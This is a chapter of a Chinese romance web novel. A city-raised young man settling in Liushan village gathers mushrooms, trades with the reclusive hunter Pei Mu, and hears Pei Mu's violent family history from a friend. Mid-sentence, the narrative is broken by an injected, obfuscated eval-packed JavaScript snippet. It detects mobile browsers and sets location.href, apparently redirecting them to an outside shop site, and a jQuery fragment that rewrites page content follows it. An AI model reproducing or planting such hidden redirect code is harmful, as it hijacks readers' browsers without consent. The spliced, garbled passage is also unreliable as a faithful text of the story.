7. 第 7 章
作品:《府城来的小夫郎》 日子在日复一日的重复劳作中总是过得很快,一转眼钟意竹已经来了柳山村小半个月,村里人已经逐渐习惯了钟意竹的存在,不再把他的每一次出现当做稀奇来看。
孙芸娘的病经过这些时日的休养已经好了许多,不再需要人照看,正好昨日下了雨,钟意竹收拾好背篓,打算去山上捡菌子。
自从前几日吴家请了媒婆上门提亲开始,村里竟也有人家跟着上门探起了孙芸娘的口风。
吴家的那个自然是被赶了出去,可村里的婶子阿叔都说得含蓄,要么说来探病,要么说来请孙芸娘帮忙看看绣花的样子。
钟意竹拧着眉想赶人,却被孙芸娘拦了。
吴家请人来提亲是司马昭之心,被钟意竹抢回田地不甘心,又想从邪路子拿回去,这是村里人都能看出来的,赶走媒婆也没人会说他们的不是,可村里乡里乡亲的互相串个门本就是寻常,再赶人定是要落人口舌的。
孙芸娘心里清楚这些人找她的目的,索性把钟意竹打发出去,自己跟他们周旋。
钟意竹去爹的墓前坐了一下午,回村的路上被周绍芬撞见了,两人结伴回村,第二天,周绍芬便让家里的小哥儿来叫他,带他去山上捡菌子玩。
钟意竹从小在府城长大,这种山野间的活动对他来说新奇极了,东走西逛地捡了一筐别人不要的毒菌子,就算最后知道不能吃心情也没受影响,整个人都透着一股鲜活气。
周绍芬的小哥儿名叫柳明桃,今年十五岁,大伙儿都叫他桃哥儿,长相清秀文静,性格却十分活泼。
桃哥儿帮钟意竹挑拣了半晌,又教他辨认哪种菌子能吃,最后还把自己筐里的菌子倒了一半给他。
钟意竹不好意思要,桃哥儿却执意要给他,周绍芬挎着篮子笑着道:“竹哥儿你就收下吧,换做旁人他还不愿意给呢。”
钟意竹看着桃哥儿亮晶晶的眼睛,也笑了:“那我就谢谢桃哥儿了,改日我送你一个我做的香包,保准你会喜欢。”
他又看向周绍芬:“还有婶子的,也谢谢婶子。”
周绍芬笑着轻轻拍了拍钟意竹的肩膀:“好孩子。”
这几日钟意竹都在外面,不仅学会了捡菌子,采野菜,还自己摘了皂角,也知道了怎么用皂角来洗衣裳。
桃哥儿送他的菌子用来煮了汤,他和孙芸娘都很喜欢那个鲜味,吃完了就开始馋了。
今日桃哥儿跟着周绍芬去了河边村他外祖家,钟意竹已经踩熟了路,便打算自己一个人去捡菌子。
村子的后山是一片很大的山脉,他们是从西边的口子进山,林子不深,路也好记,周绍芬和桃哥儿都叮嘱过他千万别进深山,只能在外围活动,钟意竹牢牢记着,半步也不往深山里靠。
只是今日他大概是运气不好,认真扒拉了半天也没找到几丛菌子,钟意竹雄心勃勃地来,最后却只蔫巴巴地捡了点柴凑数,免得进山里转了一圈背篓还空着,像个傻子。
抬头见日头已经往下落,钟意竹终于放弃了菌子,转身往下山的方向走去。
山上有些湿滑,他走得小心又认真,却冷不防被活物蹿过身侧的动静吓了一跳,伸手拽住了旁边的树枝才没摔倒。
“咻——”弓箭射出的声音响起,钟意竹目光还没定位到是什么东西吓了他,先注意到了从上方走下来的男人。
是那天从河里救了他的人。
裴穆走上前捡起兔子扔进筐里,转过身看清愣在一旁的人,动作顿了顿。
钟意竹此时已经反应过来,他眼睛亮了亮:“是你。”
钟意竹那天之后不是没想过找人打听,可他什么线索也没有,贸然找人打听一个陌生男子,怎么看也不像话,骤然在这里遇到,他也没有想到。
钟意竹摩挲了一下腰间的钱袋,对方不想被打扰,那给钱总行了,一笔勾销,总好过他一直惦念。
即使知道了这是钟老二家的小哥儿,裴穆也没有什么多余的表情,他冷淡地点了点头算作回应,便转身打算离开,却被钟意竹开口叫住。
“等等,我能用这筐柴火换几个果子吗?”
裴穆的竹筐旁边绑了个布袋,里面堆了些红红粉粉的野果,正是这个季节味道最好的泡儿果,只是山里外面这一圈成熟的果子早就被人摘走,只有深山里才能摘到新鲜果子。
裴穆回过身,看着递过来的背篓里半干不湿的柴火,沉默了片刻。
钟意竹像是怕他不要,往前又递了递,一双手白得晃眼,更显得上面的划痕口子无所遁形。
裴穆听见他说:“我只要两个,可以和我换吗?”
钟意竹期待地看着裴穆,见他把手伸进了布袋,正想送出背篓伸手去接果子,却突然感觉到背篓一重。
回过神时,裴穆已经收回了手,转身大步下了山。
“诶——”钟意竹刚追了两步就被绊了一下,他脚下本就不稳,抱着背篓更是雪上加霜,好一阵手忙脚乱才堪堪站稳。
再抬头看去,裴穆的背影已经消失在了林子里。
钟意竹抱着背篓,看着柴火上面堆着的几个果子,从脸颊烫到了耳根。
他本意是觉得以对方的态度,多半不会直接收下他给的钱,便把钱塞进了背篓里和对方交换。
可如今不仅钱没送出去,还白白讨要了人家的果子,怎一个不要脸了得。
等下了山,钟意竹把背篓放回家,便直接去了村长家。
桃哥儿已经从外祖家回来了,正准备出门放鸭子,见到钟意竹,他连忙抬手挥了挥,钟意竹跟院子里的周婶打了个招呼,便跟着桃哥儿一起赶着鸭子往河边走去。
桃哥儿带着钟意竹熟门熟路地走到了一处有树荫的河坎上,让鸭子自己去河里觅食,他们坐在河坎上看着就行。
四下无人,只有鸭子嘎嘎的叫声和划水拨动出的声响,五月的风还是凉爽的,靠在树干上吹着风很是惬意。
钟意竹听桃哥儿叽叽喳喳地说了一会儿回外祖家的事,才不经意地问了一句:“桃哥儿,我们村有猎户吗?”
柳明桃点了点头:“有啊。”
“有几个啊?”钟意竹捂了捂胸口,“我看山里林子深,总怕有野兽跑出来伤人。”
“不用怕的,村里猎户如果发现有野兽靠近的踪迹,会告诉我爹让村里组织人狩猎的。”
柳明桃认真安慰完他,才回答他前面的问题:“村里现在就一个猎户,叫裴穆,是从军回来的,我听爹说他本领很厉害的。”
裴穆……钟意竹刚默念了一遍这个名字,就听柳明桃补充道:“就是人很凶。”
“……”钟意竹回想这两次遇到裴穆,对方一次救了他,一次给了他果子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081389|195332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虽然冷淡,却绝对算不上凶恶,他有些好奇地问道,“有多凶?”
“他去年刚回来没多久,就把他弟弟裴金的腿打断了,他掏了治病的银子,当着村里所有人的面跟裴金和他爹娘说,再惹他一次,他就打断他一条腿,反正他有银子赔。”
钟意竹睁大了眼睛:“这是有多大的仇?”
柳明桃扭头确认了一下周围没人,才小声地说:“我也是听别人说的,裴猎户的爹娘是长辈硬凑在一起的,成了对怨偶,自成亲后裴家整天都在闹,没一天消停的。”
“后来裴猎户的娘怀上他之后,大伙儿都以为裴家能消停一阵了,可还是闹,一直闹到生产,裴猎户的娘月子里就去了,没等过头七,裴猎户的祖父也没了……”
钟意竹轻轻吸了口气,听柳明桃继续往下讲。
“裴家连办两场丧事,裴木匠恍恍惚惚,精神消沉,回过神来竟发现孩子丢了,村里人帮着找了两天,后来竟是王猎户从山里把孩子抱了出来,说是在深山捡到的,大家都说是偷孩子的在山里迷了路把孩子扔了,那段时间山里还有狼出没,那么小的婴孩没被狼叼走也没冻死,当真是凶险。”
“后来就有人说,裴猎户命硬,连在狼嘴里都能活下来,保不准亲娘和祖父都是他克死的,裴木匠因此也极不待见他,后来裴木匠另娶了如今的田氏,生了三个孩子,前些年打仗征兵,裴家日子明明过得不错,却不肯花钱代役,硬是让征兵的人把当时刚刚年满十四的裴猎户带走了。”
“这场仗打得凶,直到前年冬大晏才平息战乱,被征去参战的将士得以从边关返乡。裴猎户便是去年入夏的时候才回到村里的,当年我们村被征走的村民就有十数人,就只有裴猎户活着回来了,他回来后就自己盖了房子,当起了猎户,没再踏进过裴家一步。”
“至于裴猎户打裴金的事,大概是因为裴木匠和田氏觉得裴猎户打了几年仗肯定得了饷银,来找我爹主持公道,说他们没分家,要让裴猎户给银子,裴猎户便把裴金腿打断了,赔了他们银钱。”
说到这里,柳明桃又压低了一点声音:“你不知道裴猎户有多凶,三四个人都拉不住他,煞神似的,爹跟我和哥哥们都叮嘱过让我们别惹他,我可不敢,他一拳就能把我打死了,你也绕着他一些,他虽然不乱打人,还是吓人得紧。”
钟意竹万没想到裴穆的身世经历如此复杂,他听得五味杂陈,张嘴想说什么,却又咽了回去。
柳明桃说得口干舌燥,看了眼日头,索性起身把鸭子赶上岸,对钟意竹道:“我们回去吧竹哥儿,我口渴得紧,想回家去喝水。”
钟意竹应了一声,和他一起往回走,临分开前,柳明桃想起什么:“对了竹哥儿,后天镇上有大集,我娘说带我去逛呢,你要去么?”
孙芸娘如今身体已经几乎无碍了,家里如今什么都缺,钟意竹点了点头:“应当是要去的,我问了我娘告诉你。”
柳明桃得到了想要的答案,高兴地赶着鸭子走了,他向来是没什么烦恼的,自然也看不出钟意竹的重重心事。
回去的路上,钟意竹数着路边新开出来的野花,心里知道自己这感谢的银钱大概是没有机会送出去了。
一个人经了这么多的事,活成了离群索居的样子,他显然不想被打扰,而自己一身麻烦,还是离人家远一些的好。

